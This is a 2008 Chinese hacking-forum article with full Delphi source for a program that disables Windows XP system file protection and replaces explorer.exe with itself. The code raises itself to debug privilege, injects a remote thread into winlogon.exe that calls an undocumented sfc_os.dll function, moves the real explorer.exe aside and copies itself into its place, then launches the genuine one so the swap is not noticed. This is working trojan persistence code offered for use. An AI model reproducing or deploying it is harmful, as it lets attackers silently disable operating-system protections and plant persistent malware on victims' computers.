黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 黑客编程 >> 正文
·完美空间提供500M免费AS04-10·企业安全之YY内网准入以04-09
·企业安全之意识与策略04-09·剑走偏锋:IIS漏洞利用04-09
·我来免费网提供100M免费04-09·1122mb.com提供20G超大免04-08
·映像劫持与反劫持技术04-07·让所有"暴力删除工具"无04-07
·入侵88red系统的详细过程04-07·Sql Injection脚本注入终04-07
·vbs+delphi 反弹后门生成04-07·飞讯网提供100MB免费PHP04-07
·突破SQL注入攻击时输入框04-04·结合内核和病毒技术的最04-04
·Real Player rmoc3260.d04-04·亿万网络今月最后为您提04-04
·php+mysql 5 sql inject04-03·Real Player rmoc3260.d04-03
·oblog文件下载漏洞04-03·免费啦提供1G-2G免费全能04-03
·完全解析网页后门和挂马04-02·一句话开3389(只测试过04-02
·萧萧免费空间网提供100M04-02·谷道免费空间网提供1G免04-01
·从本地入手解决双线路由03-31·sablog 1.6 多个跨站漏洞03-31
·富文本编辑器的跨站脚本03-31·Cookie注入是怎样产生的03-31
[推荐]关闭XP保护。替换explorer.exe
        ★★★★★

关闭XP保护。替换explorer.exe

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2008-1-31 17:57:55
在偶的VPC上测试是可以的。没有更多的测试.
偶并没有调用dllcache目录下的.你喜欢吧
{*******************************************************}
{ }
{ 关闭XP保护。替换explorer.exe }
{ }
{ 版权所有 (C) 2008 bbs.secdst.net }
{ }
{*******************************************************}

program Project1;

uses
 Windows,TlHelp32;

function LowerCase(const S: string): string; //转小写
var
 Ch: Char;
 L: Integer;
 Source, Dest: PChar;
begin
 L := Length(S);
 SetLength(Result, L);
 Source := Pointer(S);
 Dest := Pointer(Result);
 while L <> 0 do
 begin
 Ch := Source^;
 if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32);
 Dest^ := Ch;
 Inc(Source);
 Inc(Dest);
 Dec(L);
 end;
end;

function CreatedMutexEx(MutexName: Pchar): Boolean;
var
 MutexHandle: dword;
begin
 MutexHandle := CreateMutex(nil, True, MutexName);
 if MutexHandle <> 0 then
 begin
 if GetLastError = ERROR_ALREADY_EXISTS then
 begin
 //CloseHandle(MutexHandle);
 Result := False;
 Exit;
 end;
 end;
 Result := True;
end;

function GetWinPath: string; //取WINDOWS目录
var
 Buf: array[0..MAX_PATH] of char;
begin
 GetWindowsDirectory(Buf, MAX_PATH);
 Result := Buf;
 if Result[Length(Result)]<>'\' then Result := Result + '\';
end;

function GetTempDirectory: string; //取临时目录
var
 Buf: array[0..MAX_PATH] of char;
begin
 GetTempPath(MAX_PATH,Buf);
 Result := Buf;
 if Result[Length(Result)]<>'\' then Result := Result + '\';
end;

function EnableDebugPriv : Boolean; //提权为DEBUG
var
 hToken : THANDLE;
 tp : TTokenPrivileges;
 rl : Cardinal;
begin
 result := false;
 OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken);
 if LookupPrivilegeValue(nil, 'SeDebugPrivilege', tp.Privileges[0].Luid) then
 begin
 tp.PrivilegeCount := 1;
 tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
 result := AdjustTokenPrivileges(hToken, False, tp, sizeof(tp), nil, rl);
 end;
end;

procedure InjectThread(ProcessHandle: DWORD); //注入winlogon.exe 关闭XP文件保护
var
 TID: LongWord;
 hSfc,hThread: HMODULE;
 pfnCloseEvents: Pointer;
begin
 hSfc := LoadLibrary('sfc_os.dll');
 pfnCloseEvents := GetProcAddress(hSfc,MAKEINTRESOURCE(2));
 FreeLibrary(hSfc);
 hThread := CreateRemoteThread(ProcessHandle, nil, 0, pfnCloseEvents, nil, 0, TID);
 WaitForSingleObject(hThread, 4000);
end;

procedure InitProcess(Name: string); //查找winlogon.exe进程PID
var
 FSnapshotHandle: THandle;
 FProcessEntry32: TProcessEntry32;
 ProcessHandle:dword;
begin
 FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
 FProcessEntry32.dwSize:=Sizeof(FProcessEntry32);
 if Process32First(FSnapshotHandle,FProcessEntry32) then begin
repeat
 If Name = LowerCase(FProcessEntry32.szExeFile) then
 begin
 ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, FProcessEntry32.th32ProcessID);
 InjectThread(ProcessHandle);
 CloseHandle(ProcessHandle);
 Break;
 end;
 until not Process32Next(FSnapshotHandle,FProcessEntry32);
 end;
 CloseHandle(FSnapshotHandle);
end;

const ExpFile = 'explorer.exe';
 MasterMutex = 'OpenSoul';

var
 s: string;
begin
 if not CreatedMutexEx(MasterMutex) then ExitProcess(0); //互拆体
 if not EnableDebugPriv then Exit; //提权失败退出
 InitProcess('winlogon.exe') ; //注入winlogon.exe 先关闭xp的文件保护 .预防系统的还原
 s := ParamStr(0) ; //取本名
 if LowerCase(s) <> LowerCase(GetWinPath + ExpFile) then //判断自己是不是系统下的explorer.exe
 begin //如果不是
 MoveFileEx(PChar(GetWinPath + ExpFile),PChar(GetWinPath + 'system32\explorer.exe'),MOVEFILE_REPLACE_EXISTING); //先移动正在运行的explorer.exe
 CopyFile(PChar(S),PChar(GetWinPath+ ExpFile),false) ; //把自己复制到windows目录 为explorer.exe
 end;
 WinExec(PChar(GetWinPath + 'system32\explorer.exe'),1); //运行真正的explorer.exe
end.
文章录入:cainiaowang    责任编辑:cainiaowang 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
VIP 专 区
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886